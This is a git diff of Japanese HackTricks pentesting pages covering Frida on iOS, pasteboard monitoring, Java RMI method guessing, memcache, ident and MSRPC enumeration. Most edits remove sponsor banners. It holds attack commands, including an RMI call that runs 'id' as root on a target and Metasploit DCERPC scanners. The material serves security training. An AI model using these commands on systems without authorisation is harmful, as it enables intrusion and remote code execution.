## Fridaのインストール
1. Cydia/Sileoアプリを開く。
2. Manage -> Sources -> Edit -> Addに移動する。
3. URLとして「https://build.frida.re」を入力する。
4. 新しく追加したFridaソースに移動する。
5. Fridaパッケージをインストールする。
**脱獄デバイスにFridaをインストールする手順：**
1. Cydia/Sileoアプリを開きます。
2. Manage -> Sources -> Edit -> Addに移動します。
3. URLとして「https://build.frida.re」を入力します。
4. 新しく追加したFridaソースに移動します。
5. Fridaパッケージをインストールします。
**Corellium**を使用している場合は、[https://github.com/frida/frida/releases](https://github.com/frida/frida/releases)からFridaリリースをダウンロードする必要があります（`frida-gadget-[yourversion]-ios-universal.dylib.gz`）し、解凍してFridaが要求するdylibの場所にコピーします。例：`/Users/[youruser]/.cache/frida/gadget-ios.dylib`
**Corellium**を使用している場合は、[https://github.com/frida/frida/releases](https://github.com/frida/frida/releases)からFridaリリースをダウンロードする必要があります（`frida-gadget-[yourversion]-ios-universal.dylib.gz`）そして解凍してFridaが要求するdylibの場所にコピーします。例: `/Users/[youruser]/.cache/frida/gadget-ios.dylib`
インストール後、PCで**`frida-ls-devices`**コマンドを使用してデバイスが表示されることを確認します（PCがデバイスにアクセスできる必要があります）。\
また、**`frida-ps -Uia`**を実行して電話の実行中のプロセスを確認します。
## 脱獄していないデバイスでのFridaとアプリのパッチなし
## JailbrokenデバイスなしでのFridaおよびアプリのパッチなし
アプリのパッチなしで脱獄していないデバイスでFridaを使用する方法についてのブログ投稿を確認してください：[https://mrbypass.medium.com/unlocking-potential-exploring-frida-objection-on-non-jailbroken-devices-without-application-ed0367a84f07](https://mrbypass.medium.com/unlocking-potential-exploring-frida-objection-on-non-jailbroken-devices-without-application-ed0367a84f07)
アプリのパッチなしで非jailbrokenデバイスでFridaを使用する方法についてのブログ投稿を確認してください: [https://mrbypass.medium.com/unlocking-potential-exploring-frida-objection-on-non-jailbroken-devices-without-application-ed0367a84f07](https://mrbypass.medium.com/unlocking-potential-exploring-frida-objection-on-non-jailbroken-devices-without-application-ed0367a84f07)
## Fridaクライアントのインストール
## Frida Client Installation
**frida tools**をインストールします：
**frida tools**をインストールする:
```bash
pip install frida-tools
pip install frida
```
Fridaサーバーがインストールされ、デバイスが実行中で接続されている状態で、**クライアントが** **動作しているか** **確認**します:
Fridaサーバーがインストールされ、デバイスが実行中で接続されている状態で、**クライアントが** **動作しているか確認**します:
```bash
frida-ls-devices # List devices
frida-ps -Uia # Get running processes
@ -189,7 +184,7 @@ Stalker.flush() // this is important to get all events
[**fpicker**](https://github.com/ttdennis/fpicker) は、AFL++ モードやパッシブトレースモードなど、プロセス内ファジングのためのさまざまなファジングモードを提供する **Fridaベースのファジングスイート** です。Frida によってサポートされているすべてのプラットフォームで実行できるはずです。
- [**fpickerをインストール**](https://github.com/ttdennis/fpicker#requirements-and-installation) **& radamsa**
- [**fpicker をインストール**](https://github.com/ttdennis/fpicker#requirements-and-installation) **& radamsa**
```bash
# Get fpicker
git clone https://github.com/ttdennis/fpicker
@ -307,7 +302,7 @@ fpicker -v --fuzzer-mode active -e attach -p <Program to fuzz> -D usb -o example
また、**`idevicesyslog`**を使用してiOSのログも確認できます。\
一部のログは情報を省略し、**`<private>`**を追加します。すべての情報を表示するには、[https://developer.apple.com/bug-reporting/profiles-and-logs/](https://developer.apple.com/bug-reporting/profiles-and-logs/)からプロファイルをインストールして、そのプライベート情報を有効にする必要があります。
何をすべきかわからない場合:
何をすべきかわからない場合は：
```sh
vim /Library/Preferences/Logging/com.apple.system.logging.plist
<?xml version="1.0" encoding="UTF-8"?>
@ -331,7 +326,7 @@ killall -9 logd
- `~/Library/Logs/DiagnosticReports`
> [!WARNING]
> iOSは同じアプリのクラッシュを25件しか保存しないため、これをクリアしないとiOSはクラッシュの作成を停止します。
> iOSは同じアプリのクラッシュを25件しか保存しないため、これをクリアする必要があります。さもなければ、iOSはクラッシュの作成を停止します。
## Frida Android Tutorials
@ -343,10 +338,5 @@ killall -9 logd
- [https://www.briskinfosec.com/blogs/blogsdetail/Getting-Started-with-Frida](https://www.briskinfosec.com/blogs/blogsdetail/Getting-Started-with-Frida)
<figure><img src="/images/image (2).png" alt=""><figcaption></figcaption></figure>
**モバイルセキュリティ**の専門知識を8kSecアカデミーで深めましょう。自己ペースのコースを通じてiOSとAndroidのセキュリティをマスターし、認定を取得しましょう：
{% embed url="https://academy.8ksec.io/" %}
{{#include ../../banners/hacktricks-training.md}}

27
src/mobile-pentesting/ios-pentesting/ios-uipasteboard.md
View File

@ -1,22 +1,18 @@
{{#include ../../banners/hacktricks-training.md}}
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
iOSデバイス上のアプリケーション間でのデータ共有は、[`UIPasteboard`](https://developer.apple.com/documentation/uikit/uipasteboard)メカニズムによって促進されており、主に2つのカテゴリに分かれています。
{% embed url="https://websec.nl/" %}
iOSデバイス上のアプリケーション間でのデータ共有は、[`UIPasteboard`](https://developer.apple.com/documentation/uikit/uipasteboard)メカニズムによって促進されており、主に2つのカテゴリに分かれています：
- **システム全体の一般ペーストボード**：これは**任意のアプリケーション**とデータを共有するために使用され、デバイスの再起動やアプリのアンインストールを超えてデータを持続させるように設計されています。この機能はiOS 10から利用可能です。
- **カスタム/名前付きペーストボード**：これらは**アプリ内または同じチームIDを共有する別のアプリとのデータ共有**のために特に設計されており、作成したアプリケーションプロセスのライフサイクルを超えて持続するようには設計されていません。これはiOS 10で導入された変更に従っています。
- **システム全体の一般ペーストボード**: これは**任意のアプリケーション**とデータを共有するために使用され、デバイスの再起動やアプリのアンインストールを超えてデータを持続させるように設計されています。この機能はiOS 10から利用可能です。
- **カスタム / 名前付きペーストボード**: これらは**アプリ内または同じチームIDを共有する別のアプリとの間**でのデータ共有専用であり、作成したアプリケーションプロセスのライフサイクルを超えて持続するようには設計されていません。これはiOS 10で導入された変更に従っています。
**セキュリティの考慮事項**は、ペーストボードを利用する際に重要な役割を果たします。例えば：
- ユーザーが**ペーストボード**へのアクセスを管理するためのアプリ権限を管理するメカニズムはありません。
- ユーザーが**ペーストボード**へのアクセス権を管理するメカニズムはありません。
- ペーストボードの不正なバックグラウンド監視のリスクを軽減するために、アクセスはアプリケーションがフォアグラウンドにあるときに制限されています（iOS 9以降）。
- プライバシーの懸念から、持続的な名前付きペーストボードの使用は共有コンテナの方が推奨されています。
- iOS 10で導入された**ユニバーサルクリップボード**機能は、一般ペーストボードを介してデバイス間でコンテンツを共有できるようにし、開発者がデータの有効期限を設定し、自動コンテンツ転送を無効にすることができます。
- プライバシーの懸念から、持続的な名前付きペーストボードの使用は、共有コンテナの方が好まれます。
- iOS 10で導入された**ユニバーサルクリップボード**機能は、一般的なペーストボードを介してデバイス間でコンテンツを共有できるようにし、開発者がデータの有効期限を設定し、自動コンテンツ転送を無効にすることができます。
**機密情報が誤って**グローバルペーストボードに保存されないようにすることが重要です。さらに、アプリケーションはグローバルペーストボードデータの不正使用を防ぐように設計されるべきであり、開発者は機密情報をクリップボードにコピーすることを防ぐための対策を実装することが推奨されます。
**機密情報が誤ってグローバルペーストボードに保存されないようにすること**が重要です。さらに、アプリケーションは、意図しないアクションのためにグローバルペーストボードデータの悪用を防ぐように設計されるべきであり、開発者は機密情報をクリップボードにコピーすることを防ぐための対策を実装することが推奨されます。
### 静的分析
@ -36,10 +32,10 @@ iOSデバイス上のアプリケーション間でのデータ共有は、[`UIP
監視すべき重要な詳細には以下が含まれます：
- **ペーストボード名**と**内容**（例えば、文字列、URL、画像の確認）。
- 存在する**アイテムの数**と**データ型**、標準およびカスタムデータ型チェックを活用します。
- `setItems:options:`メソッドを検査して**有効期限およびローカル専用オプション**を確認します。
- 存在する**アイテムの数**と**データタイプ**、標準およびカスタムデータタイプチェックを活用します。
- `setItems:options:`メソッドを調査して**有効期限およびローカル専用オプション**を確認します。
監視ツールの使用例としては、**objectionのペーストボードモニター**があり、一般ペーストボードを5秒ごとにポーリングして変更を確認し、新しいデータを出力します。
監視ツールの使用例としては、**objectionのペーストボードモニター**があり、一般的なペーストボードを5秒ごとにポーリングして変更を確認し、新しいデータを出力します。
以下は、objectionのアプローチに触発されたシンプルなJavaScriptスクリプトの例で、ペーストボードからの変更を5秒ごとに読み取り、ログに記録します：
```javascript
@ -78,8 +74,5 @@ console.log(items)
- [https://hackmd.io/@robihamanto/owasp-robi](https://hackmd.io/@robihamanto/owasp-robi)
- [https://mas.owasp.org/MASTG/tests/ios/MASVS-PLATFORM/MASTG-TEST-0073/](https://mas.owasp.org/MASTG/tests/ios/MASVS-PLATFORM/MASTG-TEST-0073/)
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
{{#include ../../banners/hacktricks-training.md}}

34
src/network-services-pentesting/1099-pentesting-java-rmi.md
View File

@ -2,17 +2,9 @@
{{#include ../banners/hacktricks-training.md}}
<figure><img src="../images/image (48).png" alt=""><figcaption></figcaption></figure>
\
[**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=1099-pentesting-java-rmi)を使用して、世界で最も高度なコミュニティツールによって強化された**ワークフロー**を簡単に構築し、**自動化**します。\
今すぐアクセスを取得：
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=1099-pentesting-java-rmi" %}
## 基本情報
_Javaリモートメソッド呼び出し_、または_Java RMI_は、1つの_Java仮想マシン_にあるオブジェクトが別の_Java仮想マシン_にあるオブジェクトのメソッドを呼び出すことを可能にするオブジェクト指向の_RPC_メカニズムです。これにより、開発者はオブジェクト指向のパラダイムを使用して分散アプリケーションを記述できます。攻撃的な視点からの_Java RMI_の簡単な紹介は[このブラックハットトーク](https://youtu.be/t_aw1mDNhzI?t=202)で見ることができます。
_Java Remote Method Invocation_（_Java RMI_）は、1つの_Java仮想マシン_にあるオブジェクトが別の_Java仮想マシン_にあるオブジェクトのメソッドを呼び出すことを可能にするオブジェクト指向の_RPC_メカニズムです。これにより、開発者はオブジェクト指向のパラダイムを使用して分散アプリケーションを作成できます。攻撃的な視点からの_Java RMI_の簡単な紹介は、[このblackhatトーク](https://youtu.be/t_aw1mDNhzI?t=202)で見ることができます。
**デフォルトポート:** 1090,1098,1099,1199,4443-4446,8999-9010,9999
```
@ -30,8 +22,8 @@ _nmap_ は時々 _SSL_ 保護された _RMI_ サービスを特定するのに
簡単に言うと、_Java RMI_ は開発者が _Java object_ をネットワーク上で利用可能にすることを可能にします。これにより、クライアントが接続し、対応するオブジェクトのメソッドを呼び出すための _TCP_ ポートが開かれます。これが簡単に聞こえるにもかかわらず、_Java RMI_ が解決しなければならないいくつかの課題があります：
1. _Java RMI_ を介してメソッド呼び出しを行うには、クライアントはターゲットオブジェクトの IP アドレス、リスニングポート、実装されたクラスまたはインターフェース、および `ObjID` を知っている必要があります（`ObjID` は、オブジェクトがネットワーク上で利用可能にされたときに作成される一意でランダムな識別子です。これは、_Java RMI_ が複数のオブジェクトが同じ _TCP_ ポートでリッスンすることを許可するために必要です）。
2. リモートクライアントは、公開されたオブジェクトのメソッドを呼び出すことによってサーバー上にリソースを割り当てることがあります。_Java virtual machine_ は、これらのリソースのうちどれがまだ使用中で、どれがガベージコレクトできるかを追跡する必要があります。
1. _Java RMI_ を介してメソッド呼び出しを行うには、クライアントはターゲットオブジェクトの IP アドレス、リスニングポート、実装されたクラスまたはインターフェース、および `ObjID` を知っている必要があります（`ObjID` は、オブジェクトがネットワーク上で利用可能にされたときに作成される一意でランダムな識別子です。これは、_Java RMI_ が複数のオブジェクトが同じ _TCP_ ポートでリスニングすることを許可するために必要です）。
2. リモートクライアントは、公開されたオブジェクトのメソッドを呼び出すことによってサーバー上にリソースを割り当てることができます。_Java virtual machine_ は、これらのリソースのうちどれがまだ使用中で、どれがガーベジコレクトできるかを追跡する必要があります。
最初の課題は _RMI registry_ によって解決されます。これは基本的に _Java RMI_ のための名前付けサービスです。_RMI registry_ 自体も _RMI service_ ですが、実装されたインターフェースと `ObjID` は固定されており、すべての _RMI_ クライアントによって知られています。これにより、_RMI_ クライアントは対応する _TCP_ ポートを知っているだけで _RMI_ レジストリを利用することができます。
@ -61,7 +53,7 @@ e.printStackTrace();
```
上記の課題の2番目は、_Distributed Garbage Collector_ (_DGC_)によって解決されます。これは、よく知られた`ObjID`値を持つ別の_RMI service_であり、基本的に各_RMI endpoint_で利用可能です。_RMI client_が_RMI service_の使用を開始すると、対応する_remote object_が使用中であることを_DGC_に通知します。_DGC_は参照カウントを追跡し、未使用のオブジェクトをクリーンアップすることができます。
非推奨の_Activation System_とともに、これらは_Java RMI_の3つのデフォルトコンポーネントです：
廃止された_Activation System_とともに、これらは_Java RMI_の3つのデフォルトコンポーネントです：
1. _RMI Registry_ (`ObjID = 0`)
2. _Activation System_ (`ObjID = 1`)
@ -133,7 +125,7 @@ $ rmg enum 172.17.0.2 9010
```
列挙アクションの出力は、プロジェクトの[ドキュメントページ](https://github.com/qtc-de/remote-method-guesser/blob/master/docs/rmg/actions.md#enum-action)で詳しく説明されています。結果に応じて、特定された脆弱性を確認することを試みるべきです。
_remote-method-guesser_によって表示される`ObjID`値は、サービスの稼働時間を特定するために使用できます。これにより、他の脆弱性を特定できる可能性があります。
_remote-method-guesser_によって表示される`ObjID`値は、サービスの稼働時間を特定するために使用できます。これにより、他の脆弱性を特定できる場合があります。
```
$ rmg objid '[55ff5a5d:17e0501b054:-7ff8, -4004948013687638236]'
[+] Details for ObjID [55ff5a5d:17e0501b054:-7ff8, -4004948013687638236]
@ -146,9 +138,9 @@ $ rmg objid '[55ff5a5d:17e0501b054:-7ff8, -4004948013687638236]'
```
## リモートメソッドのブルートフォース
列挙中に脆弱性が特定されていなくても、利用可能な _RMI_ サービスは依然として危険な関数を露出する可能性があります。さらに、_RMI_ 通信は _RMI_ デフォルトコンポーネントに対してデシリアライズフィルターによって保護されていますが、カスタム _RMI_ サービスと通信する際には、そのようなフィルターは通常存在しません。したがって、_RMI_ サービス上の有効なメソッドシグネチャを知ることは価値があります。
列挙中に脆弱性が特定されていなくても、利用可能な _RMI_ サービスは依然として危険な関数を露出する可能性があります。さらに、_RMI_ 通信が _RMI_ デフォルトコンポーネントに対してはデシリアライズフィルターによって保護されているものの、カスタム _RMI_ サービスとの通信では、そのようなフィルターは通常存在しません。したがって、_RMI_ サービス上の有効なメソッドシグネチャを知ることは価値があります。
残念ながら、_Java RMI_ は _リモートオブジェクト_ 上のメソッドを列挙することをサポートしていません。それを踏まえると、[remote-method-guesser](https://github.com/qtc-de/remote-method-guesser) や [rmiscout](https://github.com/BishopFox/rmiscout) のようなツールを使用してメソッドシグネチャをブルートフォースすることが可能です。
残念ながら、_Java RMI_ は _リモートオブジェクト_ 上のメソッドを列挙することをサポートしていません。とはいえ、[remote-method-guesser](https://github.com/qtc-de/remote-method-guesser) や [rmiscout](https://github.com/BishopFox/rmiscout) のようなツールを使用してメソッドシグネチャをブルートフォースすることは可能です。
```
$ rmg guess 172.17.0.2 9010
[+] Reading method candidates from internal wordlist rmg.txt
@ -178,7 +170,7 @@ $ rmg guess 172.17.0.2 9010
[+] --> void releaseRecord(int recordID, String tableName, Integer remoteHashCode)
[+] --> String login(java.util.HashMap dummy1)
```
特定されたメソッドは次のように呼び出すことができます:
特定されたメソッドは次のように呼び出すことができます：
```
$ rmg call 172.17.0.2 9010 '"id"' --bound-name plain-server --signature "String execute(String dummy)" --plugin GenericPrint.jar
[+] uid=0(root) gid=0(root) groups=0(root)
@ -217,7 +209,7 @@ uid=0(root) gid=0(root) groups=0(root)
## Known Interfaces
[remote-method-guesser](https://github.com/qtc-de/remote-method-guesser)は、クラスまたはインターフェースがツールの内部データベースにリストされている場合、それらを`known`としてマークします。この場合、対応する_RMIサービス_に関する詳細情報を取得するために`known`アクションを使用できます：
[remote-method-guesser](https://github.com/qtc-de/remote-method-guesser)は、ツールの内部データベースにリストされている場合、クラスやインターフェースを`known`としてマークします。この場合、対応する_RMIサービス_に関する詳細情報を取得するために`known`アクションを使用できます：
```
$ rmg enum 172.17.0.2 1090 | head -n 5
[+] RMI registry bound names:
@ -301,12 +293,4 @@ Name: Enumeration
Description: Perform basic enumeration of an RMI service
Command: rmg enum {IP} {PORT}
```
<figure><img src="../images/image (48).png" alt=""><figcaption></figcaption></figure>
\
[**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=1099-pentesting-java-rmi)を使用して、世界で最も**高度な**コミュニティツールによって**ワークフローを自動化**することが簡単にできます。\
今すぐアクセスを取得：
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=1099-pentesting-java-rmi" %}
{{#include ../banners/hacktricks-training.md}}

11
src/network-services-pentesting/11211-memcache/memcache-commands.md
View File

@ -2,9 +2,6 @@
{{#include ../../banners/hacktricks-training.md}}
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
## Commands Cheat-Sheet
@ -100,7 +97,7 @@ STAT active_slabs 3
STAT total_malloced 3145436
END
```
メモリが十分かどうか不明な場合は、常に「stats」コマンドによって提供される「evictions」カウンタを確認してください。インスタンスに十分なメモリがある場合、「evictions」カウンタは0であるか、少なくとも増加していないはずです。
メモリが十分かどうか不明な場合は、常に「stats」コマンドによって提供される「evictions」カウンターを確認してください。インスタンスに十分なメモリがある場合、「evictions」カウンターは0であるか、少なくとも増加していないはずです。
#### どのキーが使用されていますか？ <a href="#which-keys-are-used" id="which-keys-are-used"></a>
@ -118,10 +115,6 @@ STAT items:2:age 1405
[...]
END
```
これにより、どのキーが使用されているかを確認するのに役立ちます。memcacheアクセスを既に行っているPHPスクリプトからキー名をダンプするには、[100days.de](http://100days.de/serendipity/archives/55-Dumping-MemcacheD-Content-Keys-with-PHP.html)のPHPコードを使用できます。
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
これは、どのキーが使用されているかを確認するのに役立ちます。memcacheアクセスを既に行っているPHPスクリプトからキー名をダンプするには、[100days.de](http://100days.de/serendipity/archives/55-Dumping-MemcacheD-Content-Keys-with-PHP.html)のPHPコードを使用できます。
{{#include ../../banners/hacktricks-training.md}}

30
src/network-services-pentesting/113-pentesting-ident.md
View File

@ -2,20 +2,13 @@
{{#include ../banners/hacktricks-training.md}}
<figure><img src="../images/image (48).png" alt=""><figcaption></figcaption></figure>
[**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=113-pentesting-ident)を使用して、世界で最も高度なコミュニティツールによって強化された**ワークフロー**を簡単に構築し、**自動化**します。\
今すぐアクセスを取得：
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=113-pentesting-ident" %}
## 基本情報
**Identプロトコル**は、**インターネット**上で**TCP接続**を特定のユーザーに関連付けるために使用されます。元々は**ネットワーク管理**と**セキュリティ**を支援するために設計されており、サーバーがポート113でクライアントに問い合わせて特定のTCP接続のユーザーに関する情報を要求することによって機能します。
**Identプロトコル**は、**インターネット**上で**TCP接続**を特定のユーザーに関連付けるために使用されます。元々は**ネットワーク管理**と**セキュリティ**を支援するために設計されており、サーバーがポート113でクライアントに問い合わせを行い、特定のTCP接続のユーザーに関する情報を要求することによって機能します。
しかし、現代のプライバシーの懸念や悪用の可能性から、その使用は減少しています。なぜなら、意図せずにユーザー情報を不正な第三者に明らかにする可能性があるからです。これらのリスクを軽減するために、暗号化された接続や厳格なアクセス制御などの強化されたセキュリティ対策が推奨されます。
しかし、現代のプライバシーに関する懸念や悪用の可能性から、その使用は減少しています。なぜなら、意図せずにユーザー情報を不正な第三者に明らかにする可能性があるからです。これらのリスクを軽減するためには、暗号化された接続や厳格なアクセス制御などの強化されたセキュリティ対策が推奨されます。
**デフォルトポート：** 113
**デフォルトポート:** 113
```
PORT STATE SERVICE
113/tcp open ident
@ -24,21 +17,21 @@ PORT STATE SERVICE
### **手動 - ユーザーを取得/サービスを特定する**
マシンがサービス ident と samba (445) を実行しており、ポート 43218 を使用して samba に接続している場合、samba サービスを実行しているユーザーを取得することができます:
マシンがサービス ident と samba (445) を実行しており、ポート 43218 を使用して samba に接続している場合、samba サービスを実行しているユーザーを取得するには、次のようにします：
![](<../images/image (843).png>)
サービスに接続するときに単に Enter を押すと:
サービスに接続するときに単に Enter を押すと：
![](<../images/image (159).png>)
他のエラー:
他のエラー：
![](<../images/image (359).png>)
### Nmap
デフォルトでは (\`-sC\`\`) nmap はすべての実行中のポートのすべてのユーザーを特定します:
デフォルトでは（\`-sC\`\`）、nmap はすべての実行中のポートのすべてのユーザーを特定します：
```
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 4.3p2 Debian 9 (protocol 2.0)
@ -69,17 +62,10 @@ ident-user-enum v1.0 ( http://pentestmonkey.net/tools/ident-user-enum )
- `oident`
## Files
## ファイル
identd.conf
<figure><img src="../images/image (48).png" alt=""><figcaption></figcaption></figure>
[**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=113-pentesting-ident)を使用して、世界で最も高度なコミュニティツールによって駆動される**ワークフローを簡単に構築し、**自動化します。\
今すぐアクセスを取得：
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=113-pentesting-ident" %}
## HackTricks 自動コマンド
```
Protocol_Name: Ident #Protocol Abbreviation if there is one.

48
src/network-services-pentesting/135-pentesting-msrpc.md
View File

@ -2,24 +2,9 @@
{{#include ../banners/hacktricks-training.md}}
<figure><img src="../images/image (3).png" alt=""><figcaption></figcaption></figure>
## 基本情報
経験豊富なハッカーやバグバウンティハンターとコミュニケーションを取るために、[**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy)サーバーに参加してください！
**Hacking Insights**\
ハッキングのスリルと課題に深く掘り下げたコンテンツに参加しましょう
**Real-Time Hack News**\
リアルタイムのニュースと洞察を通じて、急速に変化するハッキングの世界に遅れずについていきましょう
**Latest Announcements**\
新しいバグバウンティの開始や重要なプラットフォームの更新について最新情報を得ましょう
**Join us on** [**Discord**](https://discord.com/invite/N3FrSbmwdy) and start collaborating with top hackers today!
## Basic Information
Microsoft Remote Procedure Call (MSRPC)プロトコルは、クライアント-サーバーモデルであり、プログラムが別のコンピュータ上にあるプログラムからサービスを要求することを可能にし、ネットワークの詳細を理解することなく機能します。このプロトコルは、最初はオープンソースソフトウェアから派生し、その後Microsoftによって開発され、著作権が付与されました。
Microsoft Remote Procedure Call (MSRPC) プロトコルは、クライアント-サーバーモデルであり、プログラムが別のコンピュータ上にあるプログラムからサービスを要求することを可能にし、ネットワークの詳細を理解することなく機能します。このプロトコルは、最初はオープンソースソフトウェアから派生し、その後Microsoftによって開発され、著作権が付与されました。
RPCエンドポイントマッパーは、TCPおよびUDPポート135、TCP 139および445のSMB（ヌルまたは認証されたセッションで）、およびTCPポート593のWebサービスを介してアクセスできます。
```
@ -33,7 +18,7 @@ RPCエンドポイントマッパーは、TCPおよびUDPポート135、TCP 139
## **公開されているRPCサービスの特定**
TCP、UDP、HTTP、およびSMBを介したRPCサービスの公開は、RPCロケータサービスおよび個々のエンドポイントをクエリすることによって判断できます。rpcdumpなどのツールは、**IFID**値によって示されるユニークなRPCサービスの特定を容易にし、サービスの詳細と通信バインディングを明らかにします：
TCP、UDP、HTTP、およびSMBを介したRPCサービスの公開は、RPCロケータサービスおよび個々のエンドポイントにクエリを実行することで判断できます。rpcdumpなどのツールは、**IFID**値によって示されるユニークなRPCサービスの特定を容易にし、サービスの詳細と通信バインディングを明らかにします：
```
D:\rpctools> rpcdump [-p port] <IP>
**IFID**: 5a7b91f8-ff00-11d0-a9b2-00c04fb6e6fc version 1.0
@ -41,7 +26,7 @@ Annotation: Messenger Service
UUID: 00000000-0000-0000-0000-000000000000
Binding: ncadg_ip_udp:<IP>[1028]
```
RPCロケータサービスへのアクセスは、特定のプロトコルを通じて有効になります：ポート135を介してアクセスするためのncacn_ip_tcpおよびncadg_ip_udp、SMB接続のためのncacn_np、ウェブベースのRPC通信のためのncacn_httpです。以下のコマンドは、主にポート135に焦点を当てて、MSRPCサービスを監査および対話するためのMetasploitモジュールの利用を示しています：
RPCロケータサービスへのアクセスは、特定のプロトコルを通じて有効になります：ncacn_ip_tcpおよびncadg_ip_udpはポート135を介してアクセスするため、ncacn_npはSMB接続用、ncacn_httpはWebベースのRPC通信用です。以下のコマンドは、主にポート135に焦点を当てて、MSRPCサービスを監査および対話するためのMetasploitモジュールの利用を示しています：
```bash
use auxiliary/scanner/dcerpc/endpoint_mapper
use auxiliary/scanner/dcerpc/hidden
@ -49,7 +34,7 @@ use auxiliary/scanner/dcerpc/management
use auxiliary/scanner/dcerpc/tcp_dcerpc_auditor
rpcdump.py <IP> -p 135
```
All options except `tcp_dcerpc_auditor`は、ポート135のMSRPCをターゲットにするために特別に設計されています。
すべてのオプションは `tcp_dcerpc_auditor` を除いて、ポート135でMSRPCをターゲットにするために特別に設計されています。
#### 注目すべきRPCインターフェース
@ -67,7 +52,7 @@ All options except `tcp_dcerpc_auditor`は、ポート135のMSRPCをターゲッ
- **Description**: タスクスケジューラ、リモートでコマンドを実行するために使用されます。
- **IFID**: 338cd001-2244-31f1-aaaa-900038001003
- **Named Pipe**: `\pipe\winreg`
- **Description**: リモートレジストリサービス、システムレジストリにアクセスし、変更するために使用されます。
- **Description**: リモートレジストリサービス、システムレジストリにアクセスして変更するために使用されます。
- **IFID**: 367abb81-9844-35f1-ad32-98f038001003
- **Named Pipe**: `\pipe\svcctl`
- **Description**: サービスコントロールマネージャーおよびサーバーサービス、リモートでサービスを開始および停止し、コマンドを実行するために使用されます。
@ -82,11 +67,11 @@ All options except `tcp_dcerpc_auditor`は、ポート135のMSRPCをターゲッ
[https://github.com/mubix/IOXIDResolver](https://github.com/mubix/IOXIDResolver)を使用すると、[Airbus research](https://www.cyber.airbus.com/the-oxid-resolver-part-1-remote-enumeration-of-network-interfaces-without-any-authentication/)からの_**ServerAlive2**_メソッドを_**IOXIDResolver**_インターフェース内で悪用することが可能です。
このメソッドは、HTBボックス_APT_から**IPv6**アドレスとしてインターフェース情報を取得するために使用されました。0xdfのAPTの詳細については[こちら](https://0xdf.gitlab.io/2021/04/10/htb-apt.html)を参照してください。rpcmap.pyを使用した代替メソッドが含まれています。[Impacket](https://github.com/SecureAuthCorp/impacket/)の_stringbinding_（上記参照）。
このメソッドは、HTBボックス_APT_から**IPv6**アドレスとしてインターフェース情報を取得するために使用されました。0xdfのAPTの詳細については[こちら](https://0xdf.gitlab.io/2021/04/10/htb-apt.html)を参照してください。rpcmap.pyを使用した代替メソッドが含まれています。[Impacket](https://github.com/SecureAuthCorp/impacket/)の_stringbinding_（上記参照）を使用しています。
### 有効な資格情報を使用したRCEの実行
### 有効な資格情報でのRCEの実行
有効なユーザーの資格情報が利用可能な場合、マシン上でリモートコードを実行することが可能です。[dcomexec.py](https://github.com/fortra/impacket/blob/master/examples/dcomexec.py)を使用して、impacketフレームワークから実行できます。
有効なユーザーの資格情報が利用可能な場合、[dcomexec.py](https://github.com/fortra/impacket/blob/master/examples/dcomexec.py)を使用して、マシン上でリモートコードを実行することが可能です。
**利用可能な異なるオブジェクトで試すことを忘れないでください**
@ -104,19 +89,4 @@ All options except `tcp_dcerpc_auditor`は、ポート135のMSRPCをターゲッ
- [https://www.cyber.airbus.com/the-oxid-resolver-part-2-accessing-a-remote-object-inside-dcom/](https://www.cyber.airbus.com/the-oxid-resolver-part-2-accessing-a-remote-object-inside-dcom/)
- [https://0xffsec.com/handbook/services/msrpc/](https://0xffsec.com/handbook/services/msrpc/)
<figure><img src="../images/image (3).png" alt=""><figcaption></figcaption></figure>
[**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy)サーバーに参加して、経験豊富なハッカーやバグバウンティハンターとコミュニケーションを取りましょう！
**ハッキングの洞察**\
ハッキングのスリルと課題に深く掘り下げたコンテンツに参加しましょう
**リアルタイムハックニュース**\
リアルタイムのニュースと洞察を通じて、急速に進化するハッキングの世界を把握しましょう
**最新の発表**\
新しいバグバウンティの開始や重要なプラットフォームの更新について情報を得ましょう
**私たちに参加してください** [**Discord**](https://discord.com/invite/N3FrSbmwdy)で、今日からトップハッカーとコラボレーションを始めましょう！
{{#include ../banners/hacktricks-training.md}}

12
src/network-services-pentesting/15672-pentesting-rabbitmq-management.md
View File

@ -2,17 +2,13 @@
{{#include ../banners/hacktricks-training.md}}
<figure><img src="../images/i3.png" alt=""><figcaption></figcaption></figure>
**バグバウンティのヒント**: **Intigriti**に**サインアップ**してください。これは**ハッカーによって、ハッカーのために作られたプレミアムバグバウンティプラットフォーム**です！今日、[**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks)に参加して、最大**$100,000**のバウンティを獲得し始めましょう！
{% embed url="https://go.intigriti.com/hacktricks" %}
## 基本情報
RabbitMQについての詳細は[**5671,5672 - Pentesting AMQP**](5671-5672-pentesting-amqp.md)で学ぶことができます。\
このポートでは、[management plugin](https://www.rabbitmq.com/management.html)が有効になっている場合、RabbitMQ Managementウェブコンソールを見つけることができます。\
メインページは次のようになります:
メインページは次のようになります：
![](<../images/image (336).png>)
@ -20,7 +16,7 @@ RabbitMQについての詳細は[**5671,5672 - Pentesting AMQP**](5671-5672-pent
